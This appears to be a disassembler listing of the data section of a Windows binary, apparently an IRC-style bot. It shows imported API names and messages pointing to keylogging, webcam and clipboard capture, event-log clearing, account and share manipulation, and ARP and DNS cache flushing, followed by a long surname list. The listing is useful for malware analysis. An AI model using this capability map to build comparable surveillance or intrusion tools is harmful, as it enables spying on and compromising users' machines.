asc_42CA2C: ; DATA XREF: sub_401ACD+A8o
; sub_401ACD+E5Co ...
unicode 0, < >,0
asc_42CA30 db ' :',0 ; DATA XREF: sub_401ACD+86o
; sub_401ACD:loc_402601o
align 4
aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo
align 4
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409B12:loc_40A77Co
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409B12+C15o
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409B12+C08o
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409B12+BFBo
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409B12+BEEo
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409B12+BE1o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409B12:loc_40A6DEo
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409B12+B97o
align 4
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409B12+B8Fo
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409B12:loc_40A694o
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o
align 10h
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409B12:loc_40A620o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409B12+AD1o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409B12:loc_40A5D6o
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o
align 4
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409B12:loc_40A58Co
align 4
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409B12+9F9o
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo
; sub_4185A4+65o
align 10h
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409B12+9DFo
align 10h
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409B12+9D2o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409B12+9C5o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409B12+9B8o
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409B12+9ABo
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o
align 4
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409B12+984o
align 4
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409B12+977o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409B12+96Fo
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409B12:loc_40A470o
; sub_4185A4+58o
align 4
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409B12+921o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409B12+914o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409B12+90Co
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409B12:loc_40A411o
align 10h
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409B12+82Co
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo
align 10h
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o
align 4
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o
align 10h
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409B12:loc_40A2F1o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_409B12+6A6o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_409B12+699o
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409B12+68Co
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409B12+67Fo
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_409B12+672o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_409B12+665o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409B12+658o
align 4
aAccept db 'accept',0 ; DATA XREF: sub_409B12+64Bo
align 10h
aListen db 'listen',0 ; DATA XREF: sub_409B12+63Eo
align 4
aSelect db 'select',0 ; DATA XREF: sub_409B12+631o
align 10h
aBind db 'bind',0 ; DATA XREF: sub_409B12+629o
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409B12+617o
align 4
aRecv db 'recv',0 ; DATA XREF: sub_409B12+60Ao
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_409B12+5FDo
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_409B12+5E3o
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_409B12+5D6o
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_409B12+5C9o
align 4
aHtons db 'htons',0 ; DATA XREF: sub_409B12+5BCo
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409B12+5AFo
align 10h
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409B12+5A2o
align 4
aConnect db 'connect',0 ; DATA XREF: sub_409B12+595o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409B12+588o
aSocket db 'socket',0 ; DATA XREF: sub_409B12+57Bo
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409B12+56Eo
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409B12+561o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409B12+554o
align 10h
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409B12+547o
align 10h
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409B12+53Ao
align 10h
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409B12+52Do
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409B12+525o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409B12+514o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409B12+4A1o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409B12+494o
align 10h
aBitblt db 'BitBlt',0 ; DATA XREF: sub_409B12+487o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409B12+47Ao
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409B12+460o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o
align 10h
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409B12+43Eo
align 10h
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409B12:loc_409F3Fo
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409B12:loc_409F17o
align 4
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o
align 10h
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409B12+386o
align 10h
aControlservice db 'ControlService',0 ; DATA XREF: sub_409B12+379o
align 10h
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409B12+36Co
align 10h
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409B12+35Fo
align 10h
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409B12:loc_409E69o
align 10h
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao
align 10h
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o
align 4
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409B12+2C6o
align 4
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409B12+2B9o
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409B12+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409B12+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409B12+285o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409B12+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409B12+270o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409B12:loc_409D71o
align 4
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409B12+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409B12+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409B12+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409B12+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409B12+179o
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409B12+16Co
align 4
aIswindow db 'IsWindow',0 ; DATA XREF: sub_409B12+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409B12+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409B12+14Ao
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409B12:loc_409C47o
; sub_424D78+Do
align 10h
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o
align 4
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409B12+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409B12+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_409B12+52o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409B12+45o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_409B12+38o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo
align 10h
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409B12+23o
align 10h
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409B12+Ao
align 10h
unk_42D330 db 2Dh ; - ; DATA XREF: sub_40A7CE+2F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aDllTestComplet db 'DLL test complete.',0
align 10h
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o
align 10h
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o
align 4
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o
align 10h
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o
align 4
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o
align 4
a_: ; DATA XREF: sub_40F96A+252o
unicode 0, <.>,0
unk_42D4C0 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABF0o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 10h
unk_42D4F0 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABBEo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 10h
unk_42D520 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40AB8Ao
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheIsEmpt db 'ARP cache is empty',0
align 4
unk_42D544 db 2Dh ; - ; DATA XREF: sub_40AB31+49o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AC0F+46o
; sub_40BFEB+38o
align 10h
aReal db 'real',0
align 4
dd 0
dword_42D58C dd 0 ; DATA XREF: sub_40B08D+7o
off_42D590 dd offset sub_40ACB5 ; DATA XREF: sub_40B08D+49r
aConst db 'const',0
align 10h
dd 1, 40AD22h, 7474656Ch, 7265h, 0
dd 2, 40AD80h, 706D6F63h, 2 dup(0)
dd 3, 40ADCDh, 6E756F63h, 797274h, 0
dd 4, 40AE6Bh, 736Fh, 2 dup(0)
dd 5, 40AEE0h
off_42D5F8 dd offset aAbdulrazak ; DATA XREF: sub_40ACB5+21r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
off_42D604 dd offset aAddison ; DATA XREF: sub_40B08D+39o
; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
dd offset aCastelda ; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton ; "Compton"
dd offset aComstock ; "Comstock"
dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
dd offset aElmerick ; "Elmerick"
dd offset aElvis ; "Elvis"
dd offset aEncinas ; "Encinas"
dd offset aEnyeart ; "Enyeart"
dd offset aEppling ; "Eppling"
dd offset aErbach ; "Erbach"
dd offset aErdman ; "Erdman"
dd offset aErdos ; "Erdos"
dd offset aErez ; "Erez"
dd offset aEspinoza ; "Espinoza"
dd offset aEstes ; "Estes"
dd offset aEtter ; "Etter"
dd offset aEuripides ; "Euripides"
dd offset aEverett ; "Everett"
dd offset aFabbris ; "Fabbris"
dd offset aFagan ; "Fagan"
dd offset aFaioes ; "Faioes"
dd offset aFalcoAcosta ; "Falco-Acosta"
dd offset aFalorsi ; "Falorsi"
dd offset aFaris ; "Faris"
dd offset aFarone ; "Farone"
dd offset aFarren ; "Farren"
dd offset aFasso ; "Fasso'"
dd offset aFates ; "Fates"
dd offset aFeigenbaum ; "Feigenbaum"
dd offset aFejzo ; "Fejzo"
dd offset aFeldman ; "Feldman"
dd offset aFernald ; "Fernald"
dd offset aFernandes ; "Fernandes"
dd offset aFerrante ; "Ferrante"
dd offset aFerriell ; "Ferriell"
dd offset aFeuer ; "Feuer"
dd offset aFido ; "Fido"
dd offset aField ; "Field"
dd offset aFink ; "Fink"
dd offset aFinkelstein ; "Finkelstein"
dd offset aFinnegan ; "Finnegan"
dd offset aFiorina ; "Fiorina"
dd offset aFisk ; "Fisk"
